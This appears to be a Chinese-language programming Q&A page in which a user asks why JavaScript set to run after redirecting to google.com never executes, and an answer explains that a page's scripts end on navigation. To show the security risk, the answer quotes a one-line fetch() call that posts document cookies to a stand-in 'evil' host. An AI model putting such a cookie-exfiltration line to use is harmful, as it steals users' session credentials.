【问题标题】:How to change the styling of a web page after being redirected from a previous web page从上一个网页重定向后如何更改网页的样式
【发布时间】:2021-09-25 09:08:10
【问题描述】:

我将用户从 first.html 页面重定向到其他 URL(例如:google.com)。用户重定向后,我想在当前网页中进行更改。

window.location.href = "https://google.com"
window.onload=function(){ 
        document.getElementById('content').innerHTML = "Change the text"
        console.log("****")
        
        }

问题是文本没有变化。 **** 也不会在控制台中打印。 怎么了?

【问题讨论】:

    标签: javascript html css web redirect


    【解决方案1】:

    JavaScript,在网页中运行,在那个网页中运行。

    当浏览器导航到新页面时,前一页面(这是 JS 的执行环境)消失,任何未完成的 JS 都会终止。

    如果你想在你导航到的页面上使用 JavaScript,那么它必须被加载到 那个页面中。

    如果你想有条件地运行它,那么你可以,例如,向你正在访问的 URL 添加一个查询字符串,并让第二页的 JS 读取查询字符串,看看它是否应该做某事。

    当您导航到的页面是 Google 时,您显然不能这样做,因为您无法控制它。

    这将是一个主要的安全问题,您可以因为您可以执行的 JS 可能是,举个简单的例子 fetch('http://your-evil-site.example.com/hackGoogle', { method: 'post', body: document.cookies })

    【讨论】:

    • 好的,我了解某些 URL 的 JS 文件无法访问,例如 Google。但是在控制台中不打印 **** 的原因是什么?有没有什么方法可以用 JS 在 Google 中进行 Search 并获得结果。此外,我需要将这些结果显示在我的 html 文件中吗?
    • @Aniket — “当浏览器导航到新页面时,前一页面(这是 JS 的执行环境)消失,任何未完成的 JS 都会终止。”
    猜你喜欢
    • 2012-11-22
    • 2021-06-09
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-05-10
    • 2012-04-10
    • 2016-06-18
    • 2019-08-13
    相关资源
    最近更新 更多